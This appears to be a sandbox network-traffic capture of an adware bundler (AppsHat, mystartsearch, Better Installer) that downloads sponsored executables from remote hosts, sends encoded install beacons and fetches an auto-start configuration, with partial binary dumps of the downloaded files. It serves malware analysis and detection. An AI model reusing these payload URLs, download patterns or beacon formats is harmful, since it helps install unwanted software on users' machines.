GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.9208923050508203 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: liHhBXLpjoqNmGg9Jnko5NBZfjCABF0FqVd6Xvu9W3DZ7dtAFjhnOg==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.newinputinfoservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:20 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537392"

Last-Modified: Tue, 10 Feb 2015 03:03:12 GMT

Cache-Control: max-age=1965

Content-Length: 205272

Content-Type: application/x-msdownload

X-HW: 1423621880.dop012.am4.t,1423621880.cds045.am4.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......'...c.l.c.l.
c.l..&..p.l..&....l..&..L.l.j...d.l.c.m...l.....k.l.....b.l.Richc.l...
......PE..L....=.T.................X..........u$.......p....0.........
.................`..................................................P.
...................................w..8...............................
@............p...............................text....W.......X........
.......... ..`.rdata.......p.......\..............@[email protected]......
....................@.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................................U...E..8.u.3.][email protected].
 .]...$.2..U...E..V....$.2.t.V.....Y..^]...U...U..A.;B.u...;[email protected].
]...U...E..U....H.]...U..QQ.u....u..U.R.P............U...E.;H.u...;E.u
[email protected].]......2...h82..f...Q.u..e.......Y.....2..E.Q.M..|....e...M..E
......E.d............72......QV...u..M...E....$.2.t.V.....Y.M...^d....
........72......Q.M..M....$.2..M.d...........2...h82......Q.e..W3.G9}.
u..M.h..2.........u..u..$....e...M..}..E._d............72..q...QV...u.
.M...E....$.2.t.V.....Y.M...^d.............2...h82..2...Q.u..e....

<<< skipped >>>

GET /s/abel/v6/3YEwT2a1878zysq92S8_9w.eot HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: font/eot

Last-Modified: Thu, 28 Aug 2014 18:23:54 GMT

Date: Fri, 23 Jan 2015 20:59:14 GMT

Expires: Sat, 23 Jan 2016 20:59:14 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: sffe

Content-Length: 10793

X-XSS-Protection: 1; mode=block

Age: 1575144

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=31536000
..........e.eL.\..w..eq/..NY..].w..RX......R..h.[..}.7.....;.3.$s..L..
[email protected][email protected]..........,.....rL....-........C..
....x.......%...............S..o...}.0.......8....e.N!Keg.i.2e.x$f....
.J"R..b.?m.I9X%.1.C.zI..Ah^aJ I.w..%S.A..NJ...!8...vIC..S..H...%......
GD..]...4m%%....n.R..i..n.T..$..W..E.Sm.-*[email protected].~%....1.9u.
...1V..{xh....I..H..4.i..N...B..1.......;.<......e.?/...1.Jy ..`;..
$...k.p....:.L.-.......r....s..\..1_X.h.I....$o....d.C.cga~F.-..F.....
?.0~...C.'.7d...r..3..}....&=......9...q..7.....x/^:.K..Ec.......f.hx(
X..:... ....... J......%KX..1..0.kNX:.W...).......J.z..2....4b.......2
'.Gm9e..wS.Tx.dS.....=....j#.}..V...c..s.H......#.....G.r......\:.E.61
..D.7... I...y.9g!...L.%...8J..3.^F.8....]BgG.,^i......?.88v...;....&g
t;l=\x...O{..N.D.A.K.....O.b]o.....,.5...lW-N;....11-X..'.:.%..j....".
G%V.....G..Xg.......n....0w-."[email protected].'....p$....G4..p....V.w.......[|.
....C.........h..bB.Qc.`..K..v.|...eK..7.Vj...z.....fv.&PB.K.T.2..|1..
.._x..5...O....l."...(h...............W..Q....D_.&U...S....5..].......
.6.k.=......^......i./:.F0./..r_.........9.......7!...a.."...s........
.....3'.lz...k..H.$...wF.7...tlUI.^aH.Q..K.eZ.....IF.]kj..0.....f|:...
.....R.....\Q.mG....]/<....}1.1.>...b(<.\B.\...}.e........o(.
.>.o.=F..z.J"...l.....Ua?S..a.".3-q@v...$.'F..lNn&~0..Sy*......Y...
..p.......R*....T.G%M?....i..Y.8'..,F..Z.k....b....S......P.%x...0W...
]@;O...l..W....W.C(.....<..^.Y.(t=.#s....5..7.I.....}....E3.{~.....
. .^...1.....A[.....1l.R....jYX...7.`b.`.F.......Wh....X...)...Qt"<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=281428-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 40204

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 281428-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9drMHU1XqMUAPbhmzK8JFQlbKxa4FTktDQ9XSgEtIUwMq51nDe2LAQ==

.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: geWjYxC0Z4_WA8WT9tPlmmS0zI_s5PImPBq1aD00XvwNsyE6o6ElDA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

HEAD /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: cache.pack.google.com


HTTP/1.1 302 Found

Date: Wed, 11 Feb 2015 02:31:05 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://r2---sn-3c27ln7y.c.pack.google.com/edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1

Content-Type: text/html; charset=UTF-8

Server: ClientMapServer

Content-Length: 599

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
HTTP/1.1 302 Found..Date: Wed, 11 Feb 2015 02:31:05 GMT..Pragma: no-ca
che..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Location: hXXp://r2---sn-3c27ln7y.c.pack.google.com/e
dgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1
423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&
pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass
&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5A
D5BC3BAE81AC2BC8B04FEC&key=cms1..Content-Type: text/html; charset=UTF-
8..Server: ClientMapServer..Content-Length: 599..X-XSS-Protection: 1; 
mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:quic,p
=0.02..

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:37 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:27 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 11
 Feb 2015 02:31:27 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /mg?alpha=LyMfDU83Zi0LWC8mMCdAEGpdHkpxMBsxD1QuQgoReicyWwpsHEh2VCoVdgkYcDQHLDYtJ2wLe0JTUyMvXnd Cks1U15gTXoKDw1pRXAwN0BtPxlcEzkmSmxPWU0dUlMpckMGSnpfH2YhLWEDCx5zNRpYMy9DKEwAcHgOUBx7YD5cNEEhVxRJdHoPAhhSKWliR2o7DwFVNCVcJBEKQBxKBwATDXYv HTTP/1.1

Connection: Keep-Alive

User-Agent: WinHttpClient

Host: install.sourceapp.info


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 11 Feb 2015 02:30:35 GMT

Content-Length: 184392

xlhaJpHcBzJl64YlZ1rO0QAeLp6TTwUx2qJvDHaHyRUUdN3TcUha7bxhJUfShlwfIqmePD
42qIsdSy/FgFZvWrb6SAQo0cZYCXa66wV5WpnaAQAr0cIIRxrE43INMOuRVUNlhpl6Hwyj
2AgQf4LJGyEiqZ9oYVeLjw1QaI2VXHplsrRIQXnD0FsOd9awDn0U0NFYTiKFgQ5LSJv0dB
0xwNxCFGnAgS5SWOPWXg9glYhETQuWulMmOMGaD08ilckfRU EzC9lVvvkQQ5hkeQcXxfN
wAYDK66FGWM20uV0Hj3elUpqXODGcRomvY4IWjKGyxIaJpOXc2E22YQbVyab0VhuZrL7Hk
1u8cZYCXbWsAZpFM YVgooj4MIcQvV6XANF9WVWl0insV1BhOq2AgfY5TdER0n/8x4ZXiQ
j0IZL8 SXmI07ewYXW/ai09eepCoUiVIj5YAFTeYwlcdIurTUUp4n4BYQmiGmTY5GbydRA
J1gsQfAzCBqk52e4CPHUhq pxTf2K46kgEKNHGWAl2uusFeVqZ2gEAK9HCCEcaxONyDTDr
kVVDZYaZeh8Mo9gIEH CyRshIqmfaGFXi48NUGiNlVx6ZbK0SEF5w9BbDnfWsA59FNDRWE
4ihYEOS0ib9HQdMcDcQhRpwIEuU1Hj1l4PYJWIRE0LlqVJJjjBmg9PIpXJH0VvpPEEXG/V
yVUQYKjWO2gKytoTH2XRwhteBtTlSAk52NIDWHXIzzhIBbeETxVklc4oDi okzw epaGAh
do0ZxPdXOZ R5BfMLkXBlwn6hSehnPxxFAZZSTCUgF0 QkUjLcnEpTLIbGbAsDu9YQAmKF
zwNDOP feiYu2thCGT7Og1g0LPXQIXtdhYsWDHKA4komWvDNBwUpiYUfUQvN81o0FciEVm
R1ytA2RkK5lUYDdb7LEwph55hraHjPyAtDOtKQSXNygfkGXW FnVoJf5imSnoX0dcRIiaJ
iRtaKcnlZQN2h5ZYWnPBjzYDE6uDRQR00pAYDi ukzImcZuLDU9ojYdPY3OqtBEKY8OFDk
Ug2KgcZQjGlk5OD7azOh1Gg/BnHDyfyhtledfKeh4FvZpLGmOs9i4dLL6ya2lkwcZMTSvb
hlhYd7r9SBJk0stYUDGR8hh5G9fREDomkZUIHVDP9WoEeJ WVkRjwe11Hgm5kWkedZPBXF
UlvJptYTjBgx1fPdiBWTQssfkGW2 LhVEEcpf SiYM0cEREWuGwgRbSJu5MkR2yYlJUyKe
gVwhM5jWBlRgkd4WTXn/u3dnZoyZAV0 669qf3iz9x1bVvvkQQ5hkeQcSh3Rxx0DKaG8OF
EDz/NyCTjRrGV3btDKWAUHqJFYVDzS3B8DNri4f2lxwdAATibb3x9zbqf9CVxvw/FVEGaR
qFJyDc/YWE4hkpIOWiTA9G8eMf6YXFVrhplyCwy8kQZUeYPOCQAxudQkYnWPmQsXaNKLXH
Vi9aIeWn/C2hgHMZ3uSiZBm5hWGD6NhU8FSOnLVT92kdJJV3TMgS5IE7aHXgF1kcEi

<<< skipped >>>

POST /mg?alpha=NRwvDGQuBk4OHnckACZrClVtH2FrSkI TAUVEQ== HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Content-Length: 250

Host: install.sourceapp.info

alpha=NRwvDGREJTgCcisiACZrClVtH2FrDyswJE4Rcgs6YBgCWiF2I3h3fzAqRggzags3LR03GFwKUFhsYyIEREhOC2AvbG5hZmA1PwxCX08ANmt3ACldOCMZem1kQ3ItU3gzTXMHYWBgL2cKN14zCjVpCipZGDV8GE0rakc UTdhXw5dH1seZxVibkU/AzNIFlljbHAEPwB LhpsJToQfyxYKXVAehp9YWAtZgs2XC8CPW0lWgkHNH4I
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 11 Feb 2015 02:30:36 GMT

Content-Length: 0

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f739948d4a6930fb HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Wed, 11 Feb 2015 02:33:38 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Wed, 11 Feb 2015 02:33:38 GMT..Conn
ection: keep-alive..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-160816

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80409

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-160816/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NY9SS0BXkbZL3m6q4Jl4RsaTkkNUxT_sNaVkSK9hFLXnqzU24yUQQw==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /software_files/vlc/vlc_48.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: download.filesfrog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: image/png

Content-Length: 4734

Last-Modified: Thu, 31 May 2012 14:34:38 GMT

Connection: close

ETag: "4fc7817e-127e"

Accept-Ranges: bytes
.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:085828C2AB2D11E1B537B7A2
5EBB625B" xmpMM:DocumentID="xmp.did:085828C3AB2D11E1B537B7A25EBB625B"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:085828C0AB2D11E1B5
37B7A25EBB625B" stRef:documentID="xmp.did:085828C1AB2D11E1B537B7A25EBB
625B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>4.a.....IDATx..ZYl\.y........p8....mm.c)...
.b..R..,Wu....H..-.<..CP..][email protected].\;..ER.Y.....6....
.?.\R.CJ..j.y..{....o.._..9,..z........U.......^H.O.z...a..h....[.....
x./..{..&.ry..|:::\.....*Iq.].=3n...)..i....6.g....p...<....o...-Z.
.V.b........;...*....z..~gC..h.....}..A..M...x.y_..jM=....t.kR ..{C..z
.....P.......UL..*`x._\[email protected]....?...P.v.J..98..............j
.#.F7_....w....oYe..<%6.E..SH(-...o.................HF..:9n..C..>
;}x.,%......z........,g.v...#.Hm...t6...)P.......b...}........T..5Ah..
.8.1%.q`.e....'xo........)....^...N..*[email protected]. ...A.2.)...<<< skipped >>>

GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:34:06 GMT

Content-Type: application/ocsp-response

Content-Length: 1493

Connection: keep-alive

Set-Cookie: __cfduid=d10aedf83bb094d4813d30745107902ac1423622045; expires=Thu, 11-Feb-16 02:34:05 GMT; path=/; domain=.globalsign.com; HttpOnly

X-Powered-By: Servlet/3.0; JBossAS-6

ETag: bc0a794f7f4bfe12f82157aad383c9edb2679b06

Expires: Wed, 11 Feb 2015 07:44:51 GMT

Last-Modified: Tue, 10 Feb 2015 19:44:51 GMT

Cache-Control: max-age=180, public, no-transform, must-revalidate

CF-Cache-Status: REVALIDATED

Server: cloudflare-nginx

CF-RAY: 1b6d253aa5f50f4b-FRA
0..........0..... .....0......0...0........w..;....wp......f...2015021
0194451Z0u0s0K0... ........)[email protected]...^./.....2k.
